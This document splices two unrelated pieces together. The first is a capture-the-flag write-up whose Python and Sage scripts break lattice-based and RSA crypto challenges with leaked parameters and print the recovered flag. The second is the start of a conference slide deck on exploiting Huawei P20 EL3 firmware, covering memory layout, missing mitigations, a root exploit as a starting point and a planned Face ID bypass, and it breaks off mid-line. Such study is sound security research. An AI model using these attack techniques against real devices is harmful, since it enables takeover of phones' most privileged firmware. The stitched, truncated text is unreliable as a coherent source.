3165963466310661196034607020774820543790999309425889094558400301480351437229850 126536812968383273682877940135115673085276493450654151828361905057479981995, 3282149381087798083250107168894423915191753642814029474598559202985951106200604 333618399100398904619271622112262274207405853957746162225729311610488799211, 3043711427999934782467361190556570581809419844120280060822669709104393408994300 281252861671299488376412848295466193764211760488780994236945338916737172715, 5309518831502736162036586321409016710746856015572358862166311493249977077733559 778231277216778197528915738445637063983834948249605669529761436097427453105, 5850966150151016605543205297105005054592281413613158717404202785389436238014201 592371448033572075951207341765198263169565439686209123832275411086110817911, 3923368766916052442822880327363721625763084397880948435057733467897559167596070 411352198845545613046950780926792689415462499076521878842497491292095427739, 6942561342647054438678674760436186551809659226727861613054043728137995687216667 481306025774183754154209962898822961878334853466006609550556889719454091984, 4363370530076281443597681335261895398397569233509548548504779206594521894185271 558629098028524852533115503747194573164237449327799630540918662486077128959, 4619058073775945752060867374141935735197514875627693697422478009118200329866027 044048659460648317827438954986131376479587999624647745097978897897239127292, 5539145420637509705345669087476031335169447898096615332327710231877325607151144 192047776505416377715668031436426006450862107949995933620257436025987635864, 4093542492075861549028252002524431491512865024521586295341841119554139635323027 55507348105392626937742621128863843932000666884988715070669759699565699170), 2379087685424829586940864981933382984426766549955481008391672897407280331708577 124238855983179644124521961759223990851965536990642655222538990306782647178), ((40293722488617869752958977432767509676267225283076663241428267987000065517033 67342570993779103668061315409385212240562601701299630502704326313463424286932, 6119094365227993545584221385091893918881020096214481703914781178091971136183628 670438530210311641750581591148683239958888211342600057842272130855553856266, 5713915306307579109402109227263011444213717033348867565274611480298226860816465 12331773367032677985178035717423393551936795433268313140598972521008115103, 6802873018583229466930154751197270171170317922699456968557625783928382126053995 210407910275069301394487311947648843101347773946307554333332799717850214418, 5072357713743913680644692223158810330287065450889607371145579352279126292012179 848918665141164718555048460531770398540526826487472364087435340557346866039, 3496882632397905874458975405973670486291219060674839969753943863422588302627221 823649851111680980058484675214958287587279079324867206451582430289716962513, 4764316886028728298391689668758816773300666143593102419206655100572030456331223 580882740011995053325574960925517470200552507575723933513768676155584337040, 2762112660274215459947179313113705494183779452840785028381918726546259422752468 909189806414603556145396342996569179831559864617269930119428461755959816282, 4909647467817289773262310586684994658688973922659497788805386852587104751349072 561071348699116251530773540992010678639152989607652006970447646898702064063, 5106524885481261100445843606337235461530040429774017268276190402120200154966621 581824749883637239440446779899553142628056608187301192365295001605093944479, 4005051591206912706911763810642670682320137899230245109832622911098563795994799 879802879206068199595020735923577218997411976900802741192998054700146731111, 8715614661094515606086511205876529351456851735489716365150767969282877702248562 333016119118459378949041528690117612023042363397564505167678963360606343035, 6409077642894181138937182563309889330953174232316249254446525211817568303920079 758817670682931186986848131061161950021512131783739208852773577945186782421, 5883699936943215995543954410639142241443338458956014170676310613246348164997041 516979780735679938495943452009766762080465518705622777822130639309624755469, 1964110441259609458136617663242149668274660733224169399827460411120825566068277 448681279275806532928792402020870247136393708326072217473996594937300419792, 4608291452626289257853576030456841530072059996105717474407079631257574878449601 157418338355118847675228892553617879983019366749923110771747336413834439019, 7714178796614961080707584159125647943292553857568719022087347139258184837914161 193480009652768251922287055594028872931707546723273958059032397471983802878, 8738252871880721104663502101525438208831720189134284123127722308240136031671440 140484915472405807303139879998937456394305988269525141253043668614304334600, 7454915701560894809233258563709416530854500606293539426097875222802925865656931 647047315049934862950558977641061979884847361143083274750795576014803585430, 3539674536249271221630830990722378030419289811151965965020679093403635694658989 298617190851502484104221427940374253961703879278880841092256235680538669302, 6389806597105588365891517290520125024258781979368868858612103917721372053215387 975229532994718348663666477904992085788392628996994206233299493949921818994, 5547166034059589223087194973340358180654471974272968210461954658186688719619212 480130496874123738016408873784187104170821466398148019122934357262177474121, 5460552947196594506414382294292314639559646432575938024547932951842602797587838 19089354770006322239124148462651714877852432306263801696617497146722016470, 1974847221843987908284215614488409248554605305991637232212289656116910293138152 274580086415150680668755686849960798120593012117223303318949944624710724472, 5411730976337621034130426078500522622069301386366542311344261833354208807191782 689005269744164381875868076853615129752022418343375674235011998515058931336, 1880875004974896201571532804165433869336347974354716574343852997434118247970929 913289297859663943550230754275024182907416741699769149563768481426798448389, 4087283769996774611390364506434100147008145894446714654277799475761830591052801 801289583131377164538391328207217064289880172159370578243353997990713828044, 8756444978097904204738005104840936637348796428475130247339882089027773500674471 730093844046016198055148086405577855951183492360659338074573368100012186750, 8301066504405806926535391033924389052166963607080713754169866568980533504366492 737450336130042124795498552881205885711296518648851653973097107318662842713, 1495080862932467305554777108633691772939610887761055102862897082880016715578051 760415799440795670293542002057833690912974184383732871728364324834311756692, 1225823815702752592849688803959877559817168458420749741211093731271936375082299 41256147253751599030225372432552964118477743133851594938721147473829277293, 8193038182488480892822554880386990369776619942879187818022640515511336402843307 621936980216194929522448433431727415924319735222191109907906974527165638803), 7424088564080715231131524459632814155304823217601379171267091410257207805444339 999869595153240822780630393773796806037297697780172155471258339200087046437), ((60343594132479690025420604688172570285234866928397504990558753474829247228537 00572795978433167574351506031016020476420802201137479980180124289116440046878, 5450700552039645601725888048509141325206371269978796754511291587948992410829942 001469757917100046768376920946152391224272212251638230443210164233607827984, 8186751161041277079220200010785138422504651907650215369711628484540694449909248 443521472501207221667519230211779435534049389489276421829389775479604032861, 3578302240898007142642548143512311716568914259847127174826912530588725725815890 29586273068072708907509326573839846960459954838007530408270694229755678108, 8055764405486284954787065947153616957906330857817842989640981716431208714606926 06651639393281270276342654050590484912130038429910245633445053875130253664, 7689415245683905085898601879090623636609962797345142083984455415590973648535700 183847485261702021893446518288581247521114949203514651211512857094075776654, 1568662026422501792971152629471311521852256997631083615900066383052405274330790 997755604138884163417518835475704326135330064262113500502188810643403550596, 3061350869823153063857804964066284925079840944341588570275492216183601319188608 768553245042740388934517524489666670004945537783639777415809149413125089656, 3698396092266416423917982406854264671748098412985647090253517161954560769181107 892446634405555105584855946628942761191008325254824261686082280825322102302, 7045802278901463288171462613218323085715009721787795630090193428723204774132386 75232821901326210756648219060767150659659977368074713535037710845150720101, 1174524244972145536756072751824712553601070883689699282041854482453470901223588 041056695994854861642481980397295826385807572643520539629006377222258548955, 8592466878655232141385153037903514436753952664173134638691990352498324519938296 402864474983937653342105414493317505466587243424811516214192465998817656005, 3825903699770426529772593643655807496829503549747106356610569086782310695224310 965843784008768405611992161034492799426548787315894771766732816976432165522, 7979297710112382115376849754585834787564704112302251527362406079389543488490888 65774842115213704785531797428591593345433782351694678186821220709993928950, 6848087008380951328977170937264244116855078935251682125206505078299049904719891 178988845716010892849189885510960870815443362058389340525541746535053049804, 1173522274045872558400448407423582686108051267501106994538047051259926473617588 125987144844378471202520456780253640716113095924731149126905159049153473155, 6456773605335625978244577415557873518984068251970605100516833540276083256866503 256742865955725187002756481883304545419324947695183289285758688618357072014, 6085221674974619891143835186688741895100339740990011393425882753730067948834505 298293658755306624903012589109068064234782425603106395549179683981545421673, 4790285592207871471623213338083292034505847943668952926408458176642757316927703 744830293527699458787910817955499881869722055005156643314534029214870887308, 2508863634481166304288010840820587277978773064813670753223470418319459687187089 028990750088686705383686850203823079635355908870680410175876410937507024871, 1556660671481766901968330043210075267198456424735878191963206655499089700890480 593780471036925598191356790670923479122946340421798666462334562963189653344, 3788163187512024178737118347310042182357776814410352382763397214585876807874875 837622658994027535696396685299458776400690178807444393299259024475712573403, 2189041015878179958844572254765004453615780976206753125383703439977765411619329 504317436638723646939271069106255585131399382996843640750384148171775733719, 8418982205970057051760113062279756226323096583119495760225820879992266375517091 947289315502491994479047964905460518995314866709284399589241904284536195317, 4518817363254961795284963261167541518277613581578608719196606718631225230625332 266979537848832599530221486182925208313793101917506824427864993259488866849, 6217617622783214601029254586321572954631433750708870764835486798691266167846433 617723152628497057062465219566652760341567748086483421215431864847343561396, 5603657228637349230798762860914914121961404892767613422948054417105884493938603 010964204880348142601618749457325902538668586587954591874883189618821835954, 3625328510592379297368845590855180292527754250550115907221188707337087640773069 945218200824811356896463974789469887174584415819149547949590833174121013294, 5513496231626618756032672115089502346928873717543331764787485894162886394505863 195825843433664274113455852178542776680976536345836419084348043176269936045, 6975161156978611055356559679229170631843885926515171816704073633795669016584568 834212449032480848734997806740940875833090039907657327464613738319288003180, 2537327656954615053354601511198864179500294747821536157543421041185858987753207 189575242569741359039967551405532379928020025833811040893060660362241712854, 2287926009621678347251705017743453322951996500271493389460112399867345852640002 640394421928894133367399524866234646119847572223449566184872262759046311671), 5513992303254038283991676277913405004731234502387525344438059652662511405141028 363696864102207475264587596967722991398885331258443822275571373298338572431), ((62973647247133940491367499663977033970058746400607788127355081689135077608706 15018777120833005509883601497510823501519660932064099807666131404027405772457, 7652817524777795149576021783444994488479634194546759184683558090408608165386478 591403709044916226887960643529807790114613481987611002709987187690038532781, 7854993480263325467269899469012169607418119132898696154457801410201448296089522 160016508330066529309851667036591604016780543399236217391293360870210799269, 8111457923461209575777863384675353642428272534228935815015974003109936568705172 829480297800766024405487538417069553179541028020247534247452367109283520722, 3859566005247671243839169492539878732065000974290744573196954948531169354541320 022401241285112004908856075115066113076447761726291367121124517160960745758, 4249114371483416170588443815478690893600764665306899583506742124689167759146016 971557600250081088090743873461618014292900832544509587957274010277370688825, 4249423230146120430865732492027299103864753461842343044537956526217609089386965 565439160059847312996113923907730477383663275214065571962727002872944308000, 1793239103103751431091095964884852300275875170978660355343727978272374203499159 731184089327305247705279411559203319547980781361929103593031083696574092836, 6352885715675896061822035255257869504979829997056003451994668396627861330487533 223129339445018088228470862307695259565913724494435568819673886635914089548, 2826415881518852071080131135524857496570302235604003257001879657226276374157716 504631128701158298839458976507326531629779603829960516734204640916257954146, 1820523720551711781765597203102673407552785735659552759886815869507551354032554 993980087660032486414336326797845182554268862953486117698073779413864961980, 7927435934605755608137442275761576978398344318244454233115766501511118089541407 542798733396247077258088585703545453796446889559213864596948090346946647603, 7603305284990106963528182357705629590067194180688873642299676574507360143541279 156269324047587895548733635064691500166581122298935068771196133815280578968, 8770710664347454572690556358426481666144694725978968415293558496712096319644444 738552421092063187843079476055109735360277324370085830382038058111931846978, 7475954162692082941629869002147605120694341041815300633310143300428327800048520 245171496450060599908727156995276034821061098373005813984894376676954136695, 3801065460870206606654710120434899238367365546614954828280418223297066302357345 519874926958215530316783716496108565853156936677735613440489538498707078299, 1398743543533264059266265416737112731145237314164546036276037824389216886203149 129964150603352020581841814759931661233653820758671360232665159826860151071, 2653035443010861480561672455701745266866050331160761817677652084577108047711998 87389680324864163837340695751336352495448687936855480817874353045922896342, 3833622902972660519300255145051018460905002163005289418193232066716877372608102 157645545062626153086652148105130294045300588425841198151909980682733866401, 7963943400922676899137444536152478422012501156392158975852258966535272228416230 471174628424073419130918376919389908306065859283481861149335444416709826898, 3357789093406096015084246958468598543977510874991480954542892025355510650558963 694139600513880810698720321935488942052987212355112411808577604203125218224, 8744742735566109577556697388556701929864398457560588510209486263742371622264081 054698071355806841034211482139792976087302142164706647091787678332963629860, 7121230601500999493531748128558419763934641570883980264769031895721295524071126 325077757796070494872288893387159849573300538549305935681951183943510888290, 8674564879941291364274115491365749229746660837341425628455001041102719094616805 860011967152740785415375158933380581966336817029820372141927914272819396450, 8522012749576751130325181540642503836587925557342605373613669340874909717191725 596740182728638835838660411931518550198517066631153250462188307939711142744, 3400830449610707208962255918941659717405940024181927257117669909118536723687196 349353919937808027993776093225030062954616470756657484203461500618051498680, 6891971738393922064845396367959321833895836898025586938985123343023350640977531 844490185081553045692305954456214783459947009635888328498190825029914624305, 2617672022584365768801870003018396600627973689666413636758990943680626846859685 842561009424999017489047162118047901308753706512037396552958831306952846374, 3588371823729547953326307621937139300150078203685237739049540997539654028594361 256850057578251222241634904018035325126595356419135090934516320107761918638, 3012012912751063101376164211936876648128577983769287056128061578390675665981185 225257234978242388864511201686149260927460514778264812491376302022057609312, 1241866430582508290799428782969897640263500185237519330890151727567153750312353 354083659614339771884552867361713060984852010216579733186225305034407813747, 3370536278699646265035274726852195232413856668343447863985113886925176439721533 965442387370656007966628867623491580050062603969202760897347035981585831599), 3635655486168649370855046299145302499520522777932254241605236770634123780241443 443950992932342035453635131132431026668207216364715381641806002009892457212), ((62995945038253284823386739481081514376566152437949314440526277809244399570873 39651198259281252992143356621163678230981744557605295465370938018543623619259, 8017874092990188960501382014887482775499205133913488863511605165404103506336593 217705531855147309640061773141263813262219202565870168025799045131850772029, 7693508295086391340247597782749180024286659676225055269518713855671615019046816 287338031494581001029197445364681161989504740230231804809792719690056874145, 4998774838863822403324414310726798195267493273216091714374884700631097795800222 207305956916886281127892165259662647399599663825290287122058800783066676297, 1227459639450918615834476741223022550270531035019985039626162712644077214793440 670998166071194639532262580318354044119074685630113662734107296140227187283, 7557134212187489839336495720080316657472356724169099441493059722322505603345665 229928837908493778374148195054861262791442465996770375238222682514837219015, 8550531528018445315299989739386501410518833688000795139051531356152213317972987 442671230806358366948764426502469715291281686976099727771055123949055778660, 1408788737727090208733999388825867066491053178107520869489662434574528964520665 708963903037022508286277700548137625934922195100046066357636547495830898736, 7203893857791474540227052402775112789847003284516685998202896227940556366762847 767512749539944819970605704884335133767021038207882042736116272257246313452, 7858617034139623321950731770245596372155832602113173619904847579730279104314468 104060446230847035535674203891650495374115046612533477421411095948924038403, 3495890557399103672443502255354770078728324910762048939087902734449484274905218 947623142087881542420410385335628865370408471268217692081407389919692550127, 8272166513788050134696802340005204452686164042658731804669765090541276381622492 077856585188537476999257953694494040916742231677140030053677229840117618209, 7917372295362061329900836370298470947515267182220089559140161316668375925729019 159451540887099416739285260793895520684169647332097946577988683834451549500, 6085015928545114046829870129740091726781899104356963203540206241529708243464864 00228097168910708037255311203747068067052749082270030166932944990640595155, 2894224439654175835954538071978250763313690357973182208018633977290068424630736 631212387239357042071718796537440397065531576222954551163656670878222633043, 5041274498649635877809060779866638055686265659308351217889955482597568943230549 95757487390539378495778776717781004334527496998405258832359705610087778693, 5022633966144329066931945053749362733276928710666681298308569649641591939960265 045922058033435401201408134033696372259717857394208422761618880973147844875, 2165256954581950835653752674429102982489895587763511810839471898492006303373593 26120031567116045508425190243370694238447129871952842190318339882295092562, 5533281360781440253910948349639021267324331205157983530359075087050728472532387 8672779923815336086910292915619086829209809846343974175966683373177382077, 3630524019142805861631668353346334937704827359192125349516456885667794525291595 529929086153281075550884584231494859699382682596251752343615064058559406764, 6392963545230210337157391244587785141470659057548532722479903691912448349355457 278186024783257167883523593948852925876154377799101759663028131918179653571, 4442829647492490374613850308438855276503023922211939255469864116063514707669290 810830414184786720238072026622419275361453612047204558554419312144286259468, 1759338829666053177747146919327329669303495673564934133680028967186926572146069 895603937573990410440985937014166297277860200107201638090847738557767964696, 8334410645221564918077596577965452038701132661434227553181963530590038241797029 746632231928732138154904365424047833619356302480500821878283752622533896251, 5359315305367917356213210886811340809384305535549005399287605827231096420461053 787094148182375444236381588186877988667633159846129164910014251415892498132, 4746826898452264807834285353400513924949404077618616570227083938415541478006630 294997865994159732270016751595357962278201072139607695251135337247617131992, 5016930037894974124741615669774265503833263718843694570857165922378526693871296 298134393296082565112363133289012998090234541487743986269014273194596057955, 8197448674373033294952340311923519947067909165415185089706782640506985890268176 411156105112132477264189732570831373433580808644766896981445976251986855696, 6589237784164415148365714582970930716701386827020567091631935937680638722404454 224527824255582387427519541494298681900655122812145798569741225797458863108, 8084866378683270361133155602299770255080540237412875188411541385316894114349102 49583338776510233797998781699526767128738679793060691181761514909549134063, 3769953473253777216890135803024170033958734469557749393401010842796554499552455 996067886208642425194269272962583441879343634357421209769927778139615457086, 8648783682385351787429904741468782969290901724408414304196681581886742880850869 255226426074733921733700408886500096712616897546139602419775788283857103421), 7770085217712432245727368574550860269957276818870369467852442885171861770161654 806953238112970589224488053165873370622365771914453070362272644412340539466), ((50794128331390725047744760066062365931316369150235000197057006573544775887105 95846671560309179828976999434348083117084285664719106069500963061237719944249, 5497683738708987204871886929772487371500355010410815522794521884002052422887034 373948677436300013182349519599723284412730961957736005493014762684123125119, 4113135767064733659873940601459094843066237649144093086625687945040723326309865 677834934042224179899929564880220697268223329948482671815496016955266663223, 3392217772822151206275194128600962083509150328452380087286897355023018439262742 846070459277611025565109233469618132504758458340421960371866873437007264233, 3365498222187846283153249049359327648115554102312243312346730089147397886906579 361139892875145679132405535363890951438533684099642484211783470050561572090, 4225958227329426325306527621849307170845897672434362595463863931382964133361343 102452344304790569687594817714487357881502594857940903622892337971872622843, 5173749330468957313630724154245148117380770953975841967929792017991412806922010 077406572003094993346660169736235020448167563907452994662156718625291898177, 1229610997556049747389312398751404844462286789194967528086153926284798728226564 379776243217592116504890051338266144856198323790264467524164094542645340449, 6203680582467770572522969967519824097933455805468745813199784379973617263283297 338718864149375638946204243486269640991734283779455487847203352584387719645, 5608645295350352855151948757164250366474175448526359589492914709896087182836931 6566088386670088142716291965913196320063985048628245430982451288663555885, 3403374879683730297280437189217912681835432625970611834599530740947495157988678 066506601391819441931063536245802488588573659283517243895466341411305110324, 7442932357600347452361751943363129851099112351209653789722828755122436694919027 16431161159380631359646269447369217054493577943824080088473756092546126977, 8668133481379329692543670874460685357562479529490825364682221351235612007824127 207442966694231156272632850180639502601823102836771255576233548822940869020, 1219715070629398448852557251930036440394807874495733624196723771007632495951280 666863555173536849986422086170890545065655450572208851871920414134263312098, 4747365676558350439769293635808561555839690391444218815871257286595761098201288 845909402843945154668155931426990106767236836023703200891805546557121012073, 3920347900583869766358302781316826115017122648407775590746950242976782702043441 758671927051920531832079303209716493688335858991278920542117820999837433142, 3576840812113579241538246556101813540334697366614051327007319650917111480952337 678268254159889215991659487471715245866163954886019775061014794685469526051, 3092297002515783891268190980572898172886479901143140327952861270758137195250513 942311330345917919789056073380222006958238678078634561527264412956485891476, 6582692354043676077464047148211241461047349285651950869775703383815058210393892 817655983928584367805279348283488007120718847971738909692579561994803789695, 8598390925565621752548337638050618122615349145246190071312250646124409478641875 554334100045522664354108081384681839188236875230512916834506985784368018394, 5083605465037551426375115279112530833649365897478896248453167239016815002547309 874855133404152107506672855443412952846147025640137153179630166172327027330, 1078147741523967897407360595305143764515994159016051900207907782282127491640318 252144847618457546065143649780436954044461604507820520593029966372496409637, 3852878966789649266122956765767039332064168482967659874943504051710934855463016 293267218511298797618212940415835400312628838344789736612805007985370428145, 9200416343947996948346011820486450582961562887661776231597920020599516288931447 91530809828870293432713861529443364372306843132548518995895104247132963087, 5734615379599373445600159522772937224770942670015772616505375245593725479273178 021878942681057144899926301156376741272312879342507863577873536142681432731, 5029479357524785083767567919596413375936832916212251818803409973422754531463834 525741294936388865108384840908338843317872412437263839700620609877107482803, 6701900865710614500492346881193714258803024363131861799464627138434544901332102 442716568297670562622321069153283677278021729137525882479313181014152547671, 5889329153070156201321108507375060411970621935685429116266713581662380366605673 140144815822362931810010604763015965055273701160440694193294294968648794901, 8574399376485141907071177823840882296675935962122577954914332938675068371495222 205324524010427996628170530789488819088132375660058449209427170779307077863, digits_missing 7508412330550631031072193813247097396383978329776386950571408880553076372106661 585720899853953885472449264700576567460555041273838730657222078207877817016, 6869272965841332617039395564789220063365034769505498157305065395162427690921422 473071422816297073065457736260894005105471713054934784745390619304450890449, 1471979679069983546463931008824657873603964850019734999301726924968161951025523 657417948416862015650067176153329767615195575964113846545513592680199730134), 1453790444439443054964831311854656941846598701488745227690189722189160097459829 062128556175093075739116231397568438401899119976110085281584614989325629127)] A_values = matrix([x for x, _ in L]) b_values = vector(ZZ, [y for _, y in L]) A = matrix(ZZ, m + n, m) for i in range(m): A[i, i] = q for x in range(m): for y in range(n): A[m + y, x] = A_values[x][y] lattice = IntegerLattice(A, lll_reduce=True) print("LLL done") gram = lattice.reduced_basis.gram_schmidt()[0] target = vector(ZZ, b_values) res = Babai_closest_vector(lattice.reduced_basis, gram, target) print("Closest Vector: {}".format(res)) R = IntegerModRing(q) M = Matrix(R, A_values) ingredients = M.solve_right(res) print("Ingredients: {}".format(ingredients)) from gmpy2 import * from Crypto.Util.number import * from random import getrandbits import uuid from sympy.ntheory.modular import crt import fuckpy3 # flag = 'flag{' + str(uuid.uuid4()) + '}' # flag = flag.encode().strip(b'flag{').strip(b'}').split(b'-') # padding = long_to_bytes(getrandbits(512)) # m = bytes_to_long(flag[0] + padding + b''.join([_ for _ in flag[1:]])) # def leak(a, b, c): # e1, e2 = a >> 32, a & 2 ** 32 - 1 # m1, m2 = b >> 256, b & 2 ** 256 - 1 # # p, q = getPrime(512), getPrime(512) # p = 8514672730643859048534394807069131309787680751164114599934679913182447855051351 521282825849300875451180808934634723540177392572020614371228127350366315093 # q = 1139618348466298216041452011599656864105349316944181838568999887492219018460061 8993189406161808331825258864834179755881024216396230998042790787143415918623 # e = 2161005773 # getPrime(32) # n = p * q # d = invert(e, (p - 1) * (q - 1)) # c1 = pow(b, e, n) # c2 = pow((m1 + m2), (e1 + e2), n) # c3 = pow(a, a, n) # c4 = pow(c, 0x10001, n) # return (p, q, d % (p-1), d % (q-1), c1, c2, c3, c4) # return c2, c3, c4 # def enc(m): # p = getPrime(512) # q = getPrime(512) # e = 5 # n = p * q # c = pow(m, e, n) # return (c, n) # l = leak(bytes_to_long(flag[0]), bytes_to_long(padding), bytes_to_long(flag[1] + flag[2])) # c, n = enc(m) # print(l) # print(n) # print(c) l = (851467273064385904853439480706913130978768075116411459993467991318244785505135 1521282825849300875451180808934634723540177392572020614371228127350366315093, 1139618348466298216041452011599656864105349316944181838568999887492219018460061 8993189406161808331825258864834179755881024216396230998042790787143415918623, mpz(463467319174971534478537125753876210185303159831131986339048929995863706242 5141842768415934848075692534267896154614889702109236564561535721415087927569509 ), mpz(278469714101315064792728503874418188023256239590971323836095557991989748017 3610712938239225733208967421091494647565583041208257260929211079467472399900897 ), 1865128094455160431157451390592424080817085824468296880631990470698505753159847 1703952601755416438724112982474074553590239198586111314171935361177438127669603 9105588814886362830787764421286351510843394803822937904055901794602280177680723 11976510633046745233628899455474429389344003169695798357039738211025666, 5482916971077907100465900758386122395988093179254480170511691938212094686909346 0763311583690212409258006035046837680193543721822507513325966776865986598193474 6633764957340105075967569550340423696075077667483329402303870371584084323140887 9195866584742586386333373862336287408841247917195883597624403390910372, 7496162470057082566142507469993217660932146905644951378308582993882670733728750 2198895054962001192345105970228367025392103044122840249185367359738330285315139 0750447690562612154394227864234235202428826165990692623206578927364905731999537 47616316977906614094081725739377860475149681397270351494502879810040119, 9199578264898001084742773999321748602616249934960574602308573395013033128797090 1582164575965127425637201059093005775243323253033284087100922267082650658959030 4289001756546446884923570854092468237408509133732727011430441521065926676978152 57823931523933665000651956390275184280406451020398039989430172569966888) n = 9953314871550860913731573280534051623812260533797190507313404910653547115040095 3730776337851964290567462702510396193784084088446908685021259972049637120028927 7720771048914166984108470608386522815414574987718098382149542812454181602941401 03403240809785976984535856950679868772244695570256951863999317571672437 c = 3433858217120737986203352592778252898352958362274625019104853451651218586514680 4370249601090807953801674089517476781590729012862579342009960254301681032365519 4838968735185399644436681114919619354417413112404174423429285968056324310725545 04001292544711291709844962036644053777982072444079745282278911191432141 p, q, dp, dq, c1, c2, c3, c4 = l print(p, q) phi = (p-1)*(q-1) # print(c1, p*q) d = inverse(0x10001, phi) c = pow(c4, d, p*q) print(long_to_bytes(c)) # print() d = crt([p-1, q-1], [dp, dq])[0] b = padding = pow(c1, d, p*q) m1, m2 = b >> 256, b & 2 ** 256 - 1 mm = m1+m2 # print(mm) print(c2) e = 1751345818 print(hex(e)) s = [0x68, 0x63, 0x6a, 0x9a] charset = '0123456789abcdef' cnt = 0 for a in charset: if chr(0x68-ord(a)) not in charset: continue for b in charset: if 0x63-ord(b) <= 0 or chr(0x63-ord(b)) not in charset: continue for c in charset: if chr(0x6a-ord(c)) not in charset: continue for d in charset: if chr(0x9a-ord(d)) not in charset: continue num = bytes_to_long((a+b+c+d+chr(0x68-ord(a))+chr(0x63- ord(b))+chr(0x6a-ord(c))+chr(0x9a-ord(d))).encode()) if pow(num, num, p*q) == c3: print('!!!', num) print(long_to_bytes(3689065355523733813)) flag = ['', '', '', '', ''] flag[0] = b'321e5195' flag[1] = b'1b1e' flag[2] = b'4c40' flag[3] = b'0000' flag[4] = b'0'*12 # print(leak(bytes_to_long(flag[0]), padding, bytes_to_long(flag[1] + flag[2]))) m = bytes_to_long((flag[0] + long_to_bytes(padding) + b''.join([_ for _ in flag[1:]]))) print(m) RE friendlyRE base64 '''sage e = 5 c = 3433858217120737986203352592778252898352958362274625019104853451651218586514680 4370249601090807953801674089517476781590729012862579342009960254301681032365519 4838968735185399644436681114919619354417413112404174423429285968056324310725545 04001292544711291709844962036644053777982072444079745282278911191432141 n = 9953314871550860913731573280534051623812260533797190507313404910653547115040095 3730776337851964290567462702510396193784084088446908685021259972049637120028927 7720771048914166984108470608386522815414574987718098382149542812454181602941401 03403240809785976984535856950679868772244695570256951863999317571672437 nbits = n.nbits() kbits = 14*8 mbar = 3104797619159793055729452004599056238940490936285306603869416606799576685331738 3238737144470586155187735909215540311608251353693332599324335870742531222366081 7286001943184254653519711807983213670291172174435475893899200460307312688 charset = '0123456789abcdef' for c1 in charset: for c2 in charset: for c3 in charset: PR.<x> = PolynomialRing(Zmod(n)) f = (mbar + ((ord(c1)-ord('0'))<<(15*8)) + ((ord(c2)-ord('0')) <<(14*8)) + x)^e - c x0 = f.small_roots(X=2^kbits) if x0: print(c1,c2,x0) print(long_to_bytes(mbar + ((ord(c1)-ord('0'))<<(15*8)) + ((ord(c2)-ord('0'))<<(14*8))+x0[0])) ''' # flag{321e5195-1b1e-4c40-816b-1dab7e595f49} sm4 key: Thisisinsteresth ctx2->sk a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' b = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/' s = '' c = '2NI5JKCBI5Hyva+8AZa3mq' for x in c: idx = b.find(x) idx = (idx - 32) % 64 s = s + a[idx] print(s + "==") for (int i = 0; i < 16; i++){ SWAP(ctx2->sk[i], ctx2->sk[31 - i]); }
pdf
EL3 Tour: Get The Ultimate Privilege of Android Phone Guanxing Wen 2019 Bio ✤ Senior Security Researcher at Pangu ✤ Exploitation and Reversing Engineering ✤ Recently ✤ Firmware, Bootloader, Kernel ✤ Previously ✤ Adobe Flash Agenda ✤ ARMv8 Privilege mode ✤ Post-startup architecture of Huawei P20 ✤ Hunt EL3 Vulnerabilities ✤ Execute shellcode in EL3 ✤ Face ID Bypass ARMv8 Privilege Mode Linux Kernel Hypervisor Trusted Firmware (No limits: Physical Memory, TTBR0_ELx, VBAR_ELx, …) Trusted Kernel Application Framework Libraries Services Trusted App EL0 EL1 EL2 EL3 Normal World Secure World Huawei P20 Huawei P20 ✤ ARMv8 (Hisilicon Kirin 970) Huawei P20 ✤ ARMv8 (Hisilicon Kirin 970) ✤ Android phone with great cameras Huawei P20 ✤ ARMv8 (Hisilicon Kirin 970) ✤ Android phone with great cameras ✤ Customized EL3 and S-EL0 & 1 Boot Chain fastboot.img Boot Chain FASTBOOT Boot Chain FASTBOOT trustfirmware.img teeos.img kernel.img Boot Chain Trusted Firmware teeos.img kernel.img EL3 Boot Chain Trusted Firmware teeos.img kernel.img EL3 Boot Chain Trusted Firmware kernel.img EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 Boot Chain Trusted Firmware Linux Kernel EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 EL1 /sbin/teecd APK EL0 Interact with Secure World Trusted Firmware Linux Kernel EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 EL1 /sbin/teecd APK EL0 Normal World Secure World svc Interact with Secure World Trusted Firmware Linux Kernel EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 EL1 /sbin/teecd APK EL0 Normal World Secure World smc Interact with Secure World Trusted Firmware Linux Kernel EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 EL1 /sbin/teecd APK EL0 Normal World Secure World Interact with Secure World Trusted Firmware Linux Kernel EL3 Trusted Core Kernel S-EL1 globaltask task_xxx S-EL0 EL1 /sbin/teecd APK EL0 Normal World Secure World IPC Interact with Secure World Trusted Firmware EL3 ARM Trusted Firmware ✤ https://github.com/ARM-software/arm-trusted-firmware ✤ Switch between Secure and Normal World ✤ Physical Memory Partition ✤ Save & Load: TTBR1_EL1, SCTLR_EL1, TCR_EL1, … ✤ Dispatch smc Locate SMC Handler ✤ VBAR_EL3 ida-arm-system-highlight.py ✤ VBAR_EL3 Dispatched to Trusted Core Trusted Firmware Trusted Core Secure Tasks eret eret ARM Trusted Firmware (ATF) ✤ Switch between Secure and Normal World ✤ Physical Memory Partition ✤ Switch between Secure and Normal World ✤ Save & Load: TTBR1_EL1, SCTLR_EL1, TCR_EL1, … ✤ Dispatch SMC ✤ Trusted Core handles most of smc calls, where EL3 handles the rest Hunt EL3 Vulnerabilities Running Environment of EL3 SCTLR_EL3 Running Environment of EL3 ✤ SCTLR_EL3.WXN = 1 ✤ No-ASLR ✤ No-CFI ✤ SCTLR_EL3.M = 1 ✤ TTBR0_EL3 ✤ Flat Mapping Memory Layout of EL3 Start End Usage Permission 0x16800000 0x1CE00000 R | W 0x1CE00000 0x1FE00000 Trusted Core R | W 0x1FE00000 0x1FE2A000 ATF CODE R | E 0x1FE2A000 0x20000000 ATF DATA R | W 0x209E1000 0x209F8000 ??? R | W 0x5A000000 0xFFFDF000 MMIO R | W FASTBOOT EL1 Kernel as a Start Point ✤ Root Exploit ✤ Purchase an unlock code ✤ Unlock the Bootloader ✤ fastboot flash kernel kernel.img ✤ Looking for smc usages EL1 Kernel as a Start Point #define RPMB_SVC_REQUEST_ADDR 0xC600FF04 #define HISI_SUB_RESERVED_BL31_SHARE_MEM_PHYMEM_BASE 